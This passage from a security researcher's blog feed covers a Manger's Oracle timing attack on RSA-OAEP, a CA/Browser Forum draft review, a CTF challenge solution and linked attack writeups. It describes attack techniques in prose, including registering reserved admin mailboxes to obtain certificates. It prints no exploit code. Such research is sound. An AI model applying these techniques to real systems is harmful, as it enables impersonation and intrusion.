&lt;p&gt;I checked the popular implementations of RSA-OAEP and found none of them vulnerable to Manger's Oracle.  OpenSSL specifically protects against it, calling Manger out by name in the comments.  BouncyCastle and the .NET implementation were secure because they didn't throw an error if the first byte was non-zero (probably on the assumption that another part of OAEP, the hash, wouldn't match).  Libgcrypt didn't implement RSA-OAEP - a patch had been provided a few years ago, but it was never merged... until a few weeks ago when it was committed to trunk.&lt;/p&gt;

&lt;p&gt;The new code wasn't actually directly vulnerable - the same error code was returned no matter the type of error that occurred.  Regardless, I decided this would be a fun exercise and set about implementing the attack.  I got it working; but only after editing the source of libgcrypt to 'cheat', providing my own oracle.  I managed to find a mistake in the original paper too, a &lt;acronym title="Mathematical function that rounds down"&gt;floor()&lt;/acronym&gt; that should have been a &lt;acronym title="Mathematical function that rounds up"&gt;ceil()&lt;/acronym&gt; - detailed in the code linked later.&lt;/p&gt;

&lt;p&gt;Since I modified the libgcrypt code to provide an oracle, it was an overly contrived example, but it seemed like it might be possible to exploit it using a timing attack.  After measuring and graphing the differences between the two cases, I saw you &lt;em&gt;could&lt;/em&gt; determine the error from timing information - so long as you looked at the percentiles over a sufficient number of trials, as shown below.  It isn't 100% reliable, but I was able to get a working proof of concept going with just timing information.&lt;/p&gt;

&lt;p&gt;&lt;img src="/resources/mangers-oracle/timing-small.png" alt="Timing Comparison" /&gt;&lt;br /&gt;
&lt;em&gt;Left two box plots show the longer execution time, right two show the shorter.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;I've published the code to exploit the oracle in a contrived case, and included the code and steps to demonstrate the timing differential.  &lt;a href="https://github.com/GDSSecurity/mangers-oracle"&gt;The code is on github&lt;/a&gt;, and as far as I know, this is the only public implementation of Manger's Oracle. (Although apparently it is assigned as &lt;a href="http://stackoverflow.com/questions/5889519/java-rsaes-oaep-attack"&gt;homework&lt;/a&gt; somewhere...)&lt;/p&gt;

&lt;p&gt;&lt;em&gt;"OAEP Padding" is indeed an example of &lt;a href="http://en.wikipedia.org/wiki/RAS_syndrome"&gt;RAS Syndrome&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;This writeup originally appeared on the &lt;a href="http://blog.gdssecurity.com/labs/2011/6/2/beyond-padding-oracle-mangers-oracle-and-rsa-oaep-padding.html"&gt;Gotham Digital Science blog&lt;/a&gt;.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/rittervg/~4/-UPoDFdmPMc" height="1" width="1"/&gt;</description>
	<link>http://feedproxy.google.com/~r/rittervg/~3/-UPoDFdmPMc/blog-mangers_oracle.html</link><feedburner:origLink>http://ritter.vg/blog-mangers_oracle.html</feedburner:origLink></item>

	<item>
		<guid isPermaLink="false">http://ritter.vg/blog-cab_forum_draft.html</guid>
		<title>Examining the CA/Browser Forum Requirements Draft</title>
		<pubDate>25 Apr 2011 23:36 EST</pubDate>
		<description>&lt;p&gt;I've heard it from three different sources: Certificate Authorities will make verification more painful, more costly, and more difficult - but only if they're mandated industry-wide.  They can't add overhead their competitors can skip on.  The CAs and Browsers have been working together in the &lt;a href="http://www.cabforum.org/"&gt;CA/Browser Forum&lt;/a&gt; to come up with new requirements for Certificate Authorities.  The Public Comment period on the draft of these requirements is ongoing until the end of May, and takes place on &lt;a href="http://groups.google.com/group/mozilla.dev.security.policy/topics"&gt;mozilla.dev.security.policy&lt;/a&gt;.  I read through the draft, and I didn't have many actual comments (aside from one question I posted to the SSL Observatory list and one clarification I requested) - but I wanted to highlight a few points from it.&lt;/p&gt;

&lt;p&gt;The requirements are "a subset of the requirements that a Certification Authority must meet in order for its Certificates to be Publicly Trusted."  They apply only to SSL/TLS Certificates: "Similar requirements for  code signing,  S/MIME, time-stamping, VoIP, IM, Web services, etc. may be covered in future versions."&lt;/p&gt;

&lt;hr width="50%" /&gt;

&lt;p&gt;It talks a lot about verification requirements to ensure the applicant is who she says she is in the event the cert will contain Subject Identity Information, but more importantly talks about how the domain and/or IP addresses will be verified:&lt;/p&gt;

&lt;blockquote&gt;
If the CA uses the Internet mail system to confirm that the Applicant has  authorization from the Domain Name Registrant to obtain a Certificate for the requested Fully-Qualified Domain Name, the CA MUST use a mail system address formed in one of the following ways:
&lt;ol&gt;
&lt;li&gt;Supplied by the Domain Name Registrar&lt;/li&gt;
&lt;li&gt;Taken from the  Domain Name Registrant's  .registrant., .technical., or  .administrative. contact information, as it appears in the Domain's WHOIS record&lt;/li&gt;
&lt;li&gt;By prepending a local part to a Domain Name as follows:
&lt;ol&gt;
&lt;li&gt;Local part  - One of the following: "admin", "administrator", "webmaster", "hostmaster", or "postmaster"&lt;/li&gt;
&lt;li&gt;Domain Name . Formed by pruning zero or more components from the Registered Domain Name or the requested Fully-Qualified Domain Name.&lt;/li&gt;
&lt;/ol&gt;&lt;/li&gt;
&lt;/blockquote&gt;

&lt;p&gt;So the old trick of registering one of these reserved email addresses might just work depending on the domain.  And if the domain uses Anonymous Whois (Proxy Registration), that organization must be contacted to confirm the application is legit (so you could target those guys).&lt;/p&gt;

&lt;p&gt;What is interesting though, is the wording in that section, emphasis mine: "&lt;u&gt;If&lt;/u&gt; the CA relies on a confirmation of the right to  use or control the Registered Domain Name(s) from a Domain Name Registrar", "&lt;u&gt;If&lt;/u&gt; the CA uses the Internet mail system to confirm", "&lt;u&gt;If&lt;/u&gt; the Domain Name Registrant has used a private, anonymous, or proxy registration service".  It's a bunch of If's.  There's no MUST or SHOULD stating that one of these methods are the only allowed.&lt;/p&gt;

&lt;p&gt;Which &lt;a href="http://groups.google.com/group/mozilla.dev.security.policy/browse_thread/thread/5de461911b978798/9d8aa7f3c1cee176#9d8aa7f3c1cee176"&gt;lead me to ask about it&lt;/a&gt; - are these the only methods?  Is this vagueness intentional?  I gave the example of another verification method being via telephone from the WHOIS information.  The responses are coming in privately and will be posted shortly I'm sure - but it does seem to be intentional.  As Ian G says "the high level document should state the high level requirement, and leave implementation to the CA".  He goes on to say that the audit process intended to ensure that the implementation is valid.  (I'll talk about that below.)  And Stephen Davidson mentions "There are a number of US patents covering aspects of domain validation for SSL certificates. The BR has to tread a fine line between laying out good practice and requiring CAs to follow a process that might intrude on a patented process."  Sheesh.  Patents on how to check someone's ID.  /grumble&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;It seems this topic may have been accidently double posted (I submitted it first under a topic and a couple days later after it never showed up as a reply).  The two threads are &lt;a href="http://groups.google.com/group/mozilla.dev.security.policy/browse_thread/thread/4afb410b042c7c02/8398f0a0b4ee849e#8398f0a0b4ee849e"&gt;BR11.1 Authorization by Domain Name Registrant&lt;/a&gt; and &lt;a href="http://groups.google.com/group/mozilla.dev.security.policy/browse_thread/thread/5de461911b978798/9d8aa7f3c1cee176#9d8aa7f3c1cee176"&gt;BR11 -Validation Practices&lt;/a&gt;.  A proposal to have methods listed in a wiki page referenced by the requirements has seen support, to ensure the methods are acceptable.  There's definetly some questions about how that would work (can methods be removed? what's the approval process?) - but it's a step forwards and what I wanted to point out.&lt;/p&gt;

&lt;hr width="50%" /&gt;
&lt;a name="audit"&gt;&lt;/a&gt;
&lt;p&gt;This next bit about audits is notable:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;
At least once every eleven to thirteen months following the previous independent audit (in order to accommodate an auditor's schedule), the CA MUST be independently examined for compliance with the requirements of one of the eligible audit schemes listed in Section 16.1.
&lt;/p&gt;
...
&lt;p&gt;
The audit report MUST be made publicly available.  For both government and commercial CAs, the CA SHOULD make its audit report publicly available no later than three months after the end of the audit period. In the event of a delay greater than three months, and if so requested by an Application Software Supplier, the CA MUST provide an explanatory letter signed by its auditor.
&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;An "Application Software Supplier" is one of Apple, Google, KDE, Microsoft, Opera, RIM, and Mozilla.  More interesting are the "eligible audit schemes" listed:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;WebTrust for Certification Authorities v1.0 or later&lt;/li&gt;
&lt;li&gt;ETSI TS 101 456 v1.2.1 or later&lt;/li&gt;
&lt;li&gt;ETSI TS 102 042 V1.1.1 or later&lt;/li&gt;
&lt;li&gt;ISO 21188:2006, completed by either a licensed WebTrust for CAs auditor, or an audit authority operating according to the laws and policies for assessors in the jurisdiction of the CA&lt;/li&gt;
&lt;li&gt;If a Government CA is legally required to use a different internal audit scheme, it may use such scheme provided that: (a) the audit encompasses all requirements of one of the above schemes, and (b) the audit is performed by an Appropriate Internal Supervisory Government Auditing Agency, separate from the CA, that meets the requirements of Section 16.4.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Since the people who read audit schemes and the people who read this blog are wholly orthogonal - here's some light details.  First off, these are &lt;B&gt;audits&lt;/B&gt;, not penetration tests or code review.  And if we learned something from the Comodo debacle (assuming you believe the posted code) - it's that poor code and mediocre defenses do exist even in critical endpoints.  The types of issues that exist in the nitty-gritty (hardcoded passwords, exposed administrative interfaces, password-based authentication instead of client certificates, and conceivably whatever bug enabled the Iranian to get the DLL in the first place) - should have been identified by a pen test.  But an audit is more likely to gloss over the details.&lt;/p&gt;

&lt;p&gt;But, putting aside my feelings of an audit compared to a penetration test (or an 'Advanced Persistent Test' if you're AR), it &lt;em&gt;is&lt;/em&gt; encouraging that the audit report is required to be make available.&lt;/p&gt;

&lt;hr width="50%" /&gt;

&lt;p&gt;There's this small bit:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;The CA and its RAs SHALL NOT archive the Subscriber Private Key.&lt;/p&gt;
&lt;p&gt;If the CA, or any of its designated RAs  were to  generate a Private Key on behalf of the Subscriber, then the CA MUST encrypt the Private Key for transport to the Subscriber.&lt;/p&gt;
&lt;p&gt;If  the CA, or any of its designated RAs were to become aware that a  Subscriber's Private Key had been communicated to any person or organization not affiliated with the  Subscriber, then the CA MUST revoke any certificates that include the Public Key corresponding to the Private Key that has been communicated.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;I don't see SHALL used too often, but &lt;a href="http://www.ietf.org/rfc/rfc2119.txt"&gt;it is a synonym for MUST&lt;/a&gt;, to save you the time of looking it up.&lt;/p&gt;

&lt;hr width="50%" /&gt;

&lt;p&gt;Now, for the paranoid crowd: what about collusion between a CA and the government?  If it was proven that a CA had issued a cert for government interception, that CA would pretty quickly be untrusted by users, and probably browsers as well.  It's incentive for a CA not to do so, since such an action puts its business at risk.  But let's check the relevant sections of the doc:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;b&gt;8.1 Compliance&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;The CA MUST at all times: Comply with all law applicable to its business and the Certificates it issues in each jurisdiction where it operates&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Could a judge order a CA to do the government's bidding and sign a CSR for law enforcement?  Well, practically speaking I'm not qualified to answer this.  There's not a lot of people who are.  I credit Dino Dai Zovi when I say: "The people who are qualified to speak about the topic won't and can't, so by definition the only people speaking are people unqualified."  I'll just note that by stretching parts of the Requirements (stretching "right to use, or had control of, the Domain Name and IP address") and emphasizing compliance with applicable law - they'd have somewhat of a defense from an industry sanction.  Not from the people on the internet of course.&lt;/p&gt;

&lt;hr width="50%" /&gt;

&lt;p&gt;Now what about law enforcement trying force a CA to revoke a cert?  This was a wondering I had that I &lt;a href="https://mail1.eff.org/pipermail/observatory/2011-April/000203.html"&gt;posted to the SSL Observatory list&lt;/a&gt;.  It came about from the following segments:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;b&gt;10.3.2 Agreement Requirements&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;The Subscriber Agreement MUST contain provisions imposing on the Applicant itself (or made by the Applicant on behalf of its principal or agent under a subcontractor or hosting service relationship) the following obligations and warranties:&lt;/p&gt;

&lt;ol start="4"&gt;
&lt;li&gt;Use of  Certificate:  An obligation and warranty to install the Certificate only on servers that are accessible at the subjectAltName(s) listed in the Certificate, and to use the Certificate solely in compliance with all applicable laws and solely in accordance with the Subscriber Agreement&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;...&lt;/p&gt;

&lt;p&gt;&lt;b&gt;12.2.3 Investigation&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;The CA MUST begin investigation of a Certificate Problem Report within twenty-four hours of receipt, and decide whether revocation or other appropriate action is warranted based on at least the following criteria:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The nature of the alleged problem&lt;/li&gt;
&lt;li&gt;The number of Certificate Problem Reports received about a particular Certificate or Subscriber&lt;/li&gt;
&lt;li&gt;The type of the complainants (for example, a complaint from a law enforcement official that a Web site is engaged in illegal activities should carry more weight than a complaint from a consumer alleging that  she didn't receive the goods she ordered)&lt;/li&gt;
&lt;li&gt;Relevant legislation.&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;

&lt;p&gt;The certificate recipient must abide by "applicable laws" - but those laws may differ from the Certificate Authority's.  Then a specific scenario of law enforcement complaining to a CA is given.  When you couple that with &lt;a href="http://www.techdirt.com/articles/20110201/10252412910/homeland-security-seizes-spanish-domain-name-that-had-already-been-declared-legal.shtml"&gt;the DOJ's over-reaching domain name seizures&lt;/a&gt; - well, personally I think it's a matter of when, not if, the government uses this tactic to harass sites extra-jurisdictionally.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/rittervg/~4/PkkjImdvc90" height="1" width="1"/&gt;</description>
	<link>http://feedproxy.google.com/~r/rittervg/~3/PkkjImdvc90/blog-cab_forum_draft.html</link><feedburner:origLink>http://ritter.vg/blog-cab_forum_draft.html</feedburner:origLink></item>

	<item>
		<guid isPermaLink="false">http://ritter.vg/blog-regional_broadcast.html</guid>
		<title>Regional Broadcast Using an Atmospheric Link Layer</title>
		<pubDate>1 Apr 2011 00:00:00 GMT</pubDate>
		<description>&lt;p&gt;I've been working on a document for a while, and I'm happy to announce it's made it's way through the committees and has been accepted by the &lt;a href="http://en.wikipedia.org/wiki/Internet_Engineering_Task_Force"&gt;IETF&lt;/a&gt;.  It's the result of about 2 years of (non-contiguous) idle thought, bouncing ideas off people, and editing.  But what is it about?!  Well, as the internet has grown the concept of a LAN changed from the original concept of a &lt;strong&gt;Local Area&lt;/strong&gt; Network where "Local" meant geographic.  Now, "Local" is a logical grouping - a company has a LAN, but its members are spread through the globe, linked by VPNs.  I wanted to get back to &lt;strong&gt;geographic based packet transmission&lt;/strong&gt;.  It's all the rage after all - every social media app wants to show you what's happening nearby, where your friends are, and so on.&lt;/p&gt;

&lt;p&gt;So this is my contribution.  Using the methods defined in the RFC, you can transmit text or binary data to a local geographic area.  It doesn't add congestion on existing copper or fiber, it's carrier independent, it doesn't require or deplete mobile data plans.  You can use it just as easily in New York City as in Kigali.  And since we care about regional transmission, we can adapt some settings to local standards, like the UTF Code Page most common.  Anyway, here it is: &lt;a href="http://tools.ietf.org/html/rfc6217" class="themainlink"&gt;RFC 6217: Regional Broadcast Using an Atmospheric Link Layer&lt;/a&gt;.&lt;/p&gt;  

&lt;p&gt;There are a few rough patches in there regarding technicalities or practicality (trust me, I agonized over them), but I think they accurately indicate the point behind the illustration.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; &lt;a href="http://tech.slashdot.org/story/11/04/01/1728250/Regional-Broadcast-Using-an-Atmospheric-Link-Layer"&gt;I made Slashdot&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/rittervg/~4/vb0mENxAGwk" height="1" width="1"/&gt;</description>
	<link>http://feedproxy.google.com/~r/rittervg/~3/vb0mENxAGwk/blog-regional_broadcast.html</link><feedburner:origLink>http://ritter.vg/blog-regional_broadcast.html</feedburner:origLink></item>

	<item>
		<guid isPermaLink="false">http://ritter.vg/blog-bleed_through_badges.html</guid>
		<title>bleed-through badges</title>
		<pubDate>9 Feb 2011 23:36:00 EST</pubDate>
		<description>&lt;p&gt;I got some bleed-through badges at a client the other month.  I was curious to see if I could somehow &lt;a href="/security_adventures_badges.html" class="themainlink"&gt;prevent the bleed-through&lt;/a&gt;, and you absolutely can.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/rittervg/~4/aDiD_oWg2Rk" height="1" width="1"/&gt;</description>
	<link>http://feedproxy.google.com/~r/rittervg/~3/aDiD_oWg2Rk/blog-bleed_through_badges.html</link><feedburner:origLink>http://ritter.vg/blog-bleed_through_badges.html</feedburner:origLink></item>

	<item>
		<guid isPermaLink="false">http://ritter.vg/blog-csaw_ctf_final.html</guid>
		<title>NYU Poly CSAW CTF Finals Challenge</title>
		<pubDate>18 Nov 2010 23:08:34 EST</pubDate>
		<description>&lt;p&gt;A few weeks ago &lt;a href="http://www.poly.edu/"&gt;NYU Polytechnic&lt;/a&gt; held the final round of their &lt;a href="http://www.poly.edu/csaw-CTF"&gt;Capture the Flag&lt;/a&gt;. Marcin &lt;a href="http://blog.gdssecurity.com/labs/2010/10/6/crypto-challenges-at-the-csaw-2010-application-ctf-qualifyin.html"&gt;previously wrote about his challenge for the qualification round&lt;/a&gt;. We both wrote challenges for the final round, and my challenge was primarily based around steganographic tricks with file formats, surrounded by some simple cryptography.&lt;/p&gt;

&lt;h3&gt;Introduction&lt;/h3&gt;

&lt;p&gt;The first things you received were a bat script and a multi-part file, without an extension. The bat file copied the second file twice and appended .jpg and .zip extensions as hints. It's a fairly well known secret that you can combine jpg and zip files into a single file, and it's 'valid' as both - but 'valid' is in quotes for a reason. You actually need to do a bunch of byte manipulation to get this into a legal format - you can read about how it works &lt;a href="http://stackoverflow.com/questions/1820291/jpgzip-file-combination-problem-with-zip-format/1867553#1867553"&gt;over in my stackoverflow answer here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The jpg-part of the multi-part file was a reference to the movie Hackers, after which the challenge was themed. Within the zipfile-part was an executable which when run would look for the multi-part file and then display a prompt:&lt;/p&gt;

&lt;p&gt;&lt;img src="/resources/ctf-challenge/ctf-challenge-prompt.png" alt="Password Prompt UI"/&gt;&lt;/p&gt;

&lt;p&gt;Entering Hackers-themed words would get you images, an mp3 snippet, hints, and even the hacker's manifesto:&lt;br /&gt;&lt;img src="/resources/ctf-challenge/ctf-challenge-answers.png" alt="Decrypted Content Examples" /&gt;&lt;/p&gt;

&lt;h3&gt;Exploring the Code&lt;/h3&gt;

&lt;p&gt;But none of these were the key of course.  .Net is trivial to disassemble, and I was counting on that.  The code in the program seeks past the jpg-part of the multi-part file, and then reads blocks of data from the middle - stopping when it reaches the zip-part of the file. (So the file had three parts: jpg, zip, and in-between: an arbitrary binary format).  The password entered is hashed, and used to key a dictionary.  The value of the dictionary is used to attempt decryption of each block of data read from the middle of the file.  When it succeeds it will - depending on a sentinel byte - show an image, text, play a song, or write out a file.  Now because you can disassemble the program - you can see all the dictionary values, and therefore you can decrypt the blocks of data without ever needing to know the password.&lt;/p&gt;

&lt;p&gt;But that would be too easy - so not all the encryption keys are in the dictionary.  If your hashed password is not found in the dictionary, it is used itself.  The encryption algorithm chosen was XTEA, and the key itself was neutered down to 27 bits.  The encrypted blocks were easily brute-forced. (And XTEA is a very simple algorithm to implement).&lt;/p&gt;

&lt;p&gt;After you brute-forced all the blocks and matched up their corresponding filetypes from the code, you were left with a slew of images, an mp3, several textfiles, and two very promising files with the extensions .key.gpg and .txt.gpg.  Upon examining these files with gnupg, you found that .txt.gpg was an asymmetrically encrypted file with a key you did not possess; and .key.gpg was symmetrically encrypted with a passphrase you did not know.&lt;/p&gt;

&lt;p&gt;You discovered that in the .key.gpg file - either through verbose gnupg output, looking at it in a hex-editor, or by running strings - there were a number of userid and marker packets at the end of the file. (The &lt;a href="http://tools.ietf.org/html/rfc4880"&gt;OpenPGP file format&lt;/a&gt; is a collection of different types of packets.)  These extra packets contained the string "dot", "dash", or "PGP".  Dot and dash were morse code, and PGP was the letter-delimiter, and it decoded to the word 'morse' - which was the passphrase to the file.&lt;/p&gt;

&lt;p&gt;Upon decryption, you had a .key file, which was the public and private key used to encrypt the second .txt.gpg file - but without any indicator of what the passphrase was.  Again, either through gnupg options, a hex-editor, or the 'strings' utility - you found that the preferred keyserver for the key was set to a particular URL.  When you visited it, you were given the passphrase, and the file decrypted to a text file containing the key for the CTF.&lt;/p&gt;

&lt;h3&gt;Aftermath&lt;/h3&gt;

&lt;p&gt;When the files were given to the teams, they also received a hint that the challenge would require brute forcing - Julian Cohen (one of the CTF organizers) and I argued back and force for a while about whether it was acceptable, and how much time it should take.  I wanted the teams to only have enough time to run their program twice - while Julian felt it should be instant.  He argued they didn't have much time (the competition was 5 hours for a half-dozen challenges) while I argued they should understand the code and write it correctly the first time - I didn't want the challenge to become trial and error.  In the end, not only did they get a neutered keyspace (27 bits took me 5 minutes to run) but they received the challenge the night before.  However, the hint given threw off at least one team - they spent a long time finding hash collisions in the first 27 bits of the MD5 output.&lt;/p&gt;

&lt;p&gt;In the end, this was the challenge solved by the most teams.  I don't know if it was because they spent more time on it than other challenges by receiving it early, because they could easily retrieve the code so the challenge was more accessible to them, or if it was just too darn easy.  I'll have to start brainstorming next year's challenge...  If you'd like to attempt the challenge yourself, you can &lt;a href="/resources/ctf-challenge/hacktheplanet"&gt;download the multi-part file&lt;/a&gt;.&lt;/p&gt;

&lt;h3&gt;Bonus Trivia&lt;/h3&gt;

&lt;p&gt;This challenge is extremely small - the multi-part file weighs in at only 220KB, despite containing many photos and a small snippet of an mp3.  While I had parts of the code from a project a year ago, the bulk of the challenge was actually written for a &lt;a href="http://www.kickstarter.com/projects/fred/hackers-the-movie-15th-anniversary-party-on-oct-2n"&gt;Hackers-Themed party in Brooklyn&lt;/a&gt; where I intended to distribute the challenge on 5 1/4" disks:&lt;br /&gt;&lt;br /&gt;&lt;img src="/resources/ctf-challenge/hardware.jpg" alt="Straight Blingin" /&gt;&lt;/p&gt;

&lt;p&gt;Unfortunately, both of my 5 1/4" drives not only didn't work, but blew out one of my motherboards.  I had to resort to 3 1/2" disks.  However, since only one of my friends I gave it to was even able to &lt;em&gt;find&lt;/em&gt; a 3 1/2" drive, I decided to repurpose the challenge (adding the gpg elements, neutering the key) for the CTF.  Apparently I could have handed out blank 5 1/4" disks and no one would have known the difference.  As a final aside, in a fresh box of multi-colored 3 1/2" disks sitting on my shelf since the '90s, the green disks exihibited a much higher failure rate than the others: 7 dead green disks, 2 dead orange, 1 dead yellow, and 0 dead red or blue.&lt;/p&gt;

&lt;p&gt;This writeup originally appeared on the &lt;a href="http://blog.gdssecurity.com/labs/2010/11/18/hackers-puzzle-challenge-in-the-csaw-2010-ctf-final-round.html"&gt;Gotham Digital Science blog&lt;/a&gt;.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/rittervg/~4/dG98rFNkK1s" height="1" width="1"/&gt;</description>
	<link>http://feedproxy.google.com/~r/rittervg/~3/dG98rFNkK1s/blog-csaw_ctf_final.html</link><feedburner:origLink>http://ritter.vg/blog-csaw_ctf_final.html</feedburner:origLink></item>

	<item>
		<guid isPermaLink="false">http://ritter.vg/blog-elgamal.html</guid>
		<title>an explanation of ElGamal Encryption</title>
		<pubDate>09 Nov 2010 17:15:34 EST</pubDate>
		<description>&lt;p&gt;There's a million and one explanations of how RSA Encryption works, but significantly fewer on ElGamal - which is used more often these days (at least, based on the default key selection in gnupg).  I tried my hand at explaining it from near-first principles.  I don't expect you to know any group theory, so I cover that, but you should know what modulo and asymmetric cryptography are. &lt;a href="security_adventures_elgamal.html" class="themainlink"&gt;Here's my attempt at explaining ElGamal&lt;/a&gt;.  &lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/rittervg/~4/72x_-A59-mE" height="1" width="1"/&gt;</description>
	<link>http://feedproxy.google.com/~r/rittervg/~3/72x_-A59-mE/blog-elgamal.html</link><feedburner:origLink>http://ritter.vg/blog-elgamal.html</feedburner:origLink></item>

	<item>
		<guid isPermaLink="false">http://ritter.vg/blog-clickonce_mitm.html</guid>
		<title>ClickOnce MITM Attacks</title>
		<pubDate>21 July 2010 00:44:23 EST</pubDate>
		<description>&lt;p&gt;I wrote a &lt;a href="http://seclists.org/bugtraq/2010/Jul/164"&gt;bugtraq post&lt;/a&gt; about the Microsoft ClickOnce Installer/Updater system, and how it's relatively easy to strip away code signing and man-in-the-middle an update and inject your malicious code.  &lt;a class="themainlink" href="security_adventures_clickonce.html"&gt;Here's the writeup.&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/rittervg/~4/2aUNJ3fszFU" height="1" width="1"/&gt;</description>
	<link>http://feedproxy.google.com/~r/rittervg/~3/2aUNJ3fszFU/blog-clickonce_mitm.html</link><feedburner:origLink>http://ritter.vg/blog-clickonce_mitm.html</feedburner:origLink></item>

	<item>
		<guid isPermaLink="false">http://ritter.vg/blog-sql_injection_detection.html</guid>
		<title>Detecting SQL Injection in a White-box Environment</title>
		<pubDate>07 June 2010 10:14:23 EST</pubDate>
		<description>&lt;p&gt;The idea is simple.  You want to &lt;a href="/security_poc_sqlinjectiontampering.html" class="themainlink"&gt;detect SQL Injection, when you have full access to the code and a QA team&lt;/a&gt;.  You need to audit massively complex code that spans several servers and involves validation that may be happening on any of them, or the client in javascript.  You want to be able to bypass the javascript validation in whole - but not rewrite any javascript or do anything complicated - because you don't want to retrain any QA people - or even have to teach them what SQL Injection is.&lt;/p&gt;

&lt;p&gt;The idea is you put a proxy between the client and the web tier that rewrites requests to be an injection, and run a trace on the database to see if the injection ever makes it into the query.  It doesn't work in all cases, and sometimes there are better approaches - but it's another option, and it has a few advantages.  Check out the article for diagrams, code, and some enhancement ideas.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/rittervg/~4/Ex2U-lfRqm0" height="1" width="1"/&gt;</description>
	<link>http://feedproxy.google.com/~r/rittervg/~3/Ex2U-lfRqm0/blog-sql_injection_detection.html</link><feedburner:origLink>http://ritter.vg/blog-sql_injection_detection.html</feedburner:origLink></item>

	<item>
		<guid isPermaLink="false">http://ritter.vg/blog-why_event_validation_exists.html</guid>
		<title>why event validation exists in ASP.Net</title>
		<pubDate>01 May 2010 10:53:23 EST</pubDate>
		<description>&lt;p&gt;The other day I had cause to trigger an event firing in ASP.Net without actually having the user trigger the event, so I went about figuring out how that worked.  It was simpler than I thought it would be, and it got me thinking about triggering events maliciously.  I put together a vulnerable sample project, went to trigger it, and ran smack into ASP.Net Event Validation - which exists to thwart this exact attack.  Disappointing&lt;/p&gt;

&lt;p&gt;But I remembered other cases where I had run into it, and I refreshed myself by reading K Scott Allen's &lt;a href="http://odetocode.com/blogs/scott/archive/2006/03/20/asp-net-event-validation-and-invalid-callback-or-postback-argument.aspx"&gt;blog&lt;/a&gt; &lt;a href="http://odetocode.com/Blogs/scott/archive/2006/03/22/asp-net-event-validation-and-invalid-callback-or-postback-argument-again.aspx"&gt;posts&lt;/a&gt; (first result on google too!).  Long story short, even though Event Validation exists, it may not always be turned on - because there are legitimate places where it makes life super annoying.&lt;/p&gt;

&lt;p&gt;So &lt;a href="/security_adventures_eventvalidation.html" class="themainlink"&gt;here's how to hack it&lt;/a&gt; if Event Validation is turned off.  And a good reminder to developers why you should think twice before disabling it on a single page (or god forbid - site-wide).&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/rittervg/~4/ZMJXkZRP3CA" height="1" width="1"/&gt;</description>
	<link>http://feedproxy.google.com/~r/rittervg/~3/ZMJXkZRP3CA/blog-why_event_validation_exists.html</link><feedburner:origLink>http://ritter.vg/blog-why_event_validation_exists.html</feedburner:origLink></item>

	<item>
		<guid isPermaLink="false">http://ritter.vg/blog-finding_columns_in_user_defined_types.html</guid>
		<title>finding the columns in a user defined type in SQL Server and IISAPP in IIS 7</title>
		<pubDate>Apr 8 2010 16:00 EST</pubDate>
		<description>&lt;p&gt;This took me way too long to figure out, so I'm blogging it.  If you want to find the columns in the user defined type you just defined and forgot about here's what you do:&lt;/p&gt;

&lt;pre&gt;
create type ImGoingToForgetThis table (
	[id] int,
	[ie] int,
	[if] int
)
--Now close your query window...
exec [sys].sp_table_type_columns_100_rowset 'ImGoingToForgetThis'
&lt;/pre&gt;

&lt;p&gt;Likewise, if you want to run the &lt;a href="http://www.microsoft.com/technet/prodtechnol/WindowsServer2003/Library/IIS/b8721f32-696b-4439-9140-7061933afa4b.mspx?mfr=true"&gt;iisapp.vbs&lt;/a&gt; utility in IIS7 - it was replaced.  Instead drop this vbs script into %systemroot%/system32:&lt;/p&gt;

&lt;pre&gt;
sub shell(cmd)    
	dim objShell
	dim result
	Set objShell = WScript.CreateObject( "WScript.Shell" )
	Set oExec = objShell.Exec(cmd)

	Do While Not oExec.StdOut.AtEndOfStream 
		output = oExec.StdOut.Read(1000)
		WScript.Echo output
	Loop
end sub

shell "C:\Windows\system32\inetsrv\appcmd.exe list wp"
&lt;/pre&gt;&lt;img src="http://feeds.feedburner.com/~r/rittervg/~4/PU42zrYlCW8" height="1" width="1"/&gt;</description>
	<link>http://feedproxy.google.com/~r/rittervg/~3/PU42zrYlCW8/blog-finding_columns_in_user_defined_types.html</link><feedburner:origLink>http://ritter.vg/blog-finding_columns_in_user_defined_types.html</feedburner:origLink></item>

	<item>
		<guid isPermaLink="false">http://ritter.vg/blog-comments_system.html</guid>
		<title>i have created comments</title>
		<pubDate>21 Feb 2010 20:11 EST</pubDate>
		<description>&lt;p&gt;I have given you all the ability to comment on my blog. It's something that's been horrendously lacking for quite some time, and my only excuse is that there are so few people reading this it doesn't make much of a difference.  But now they are here and all 12 of my feed subscribers can come and comment.&lt;/p&gt;

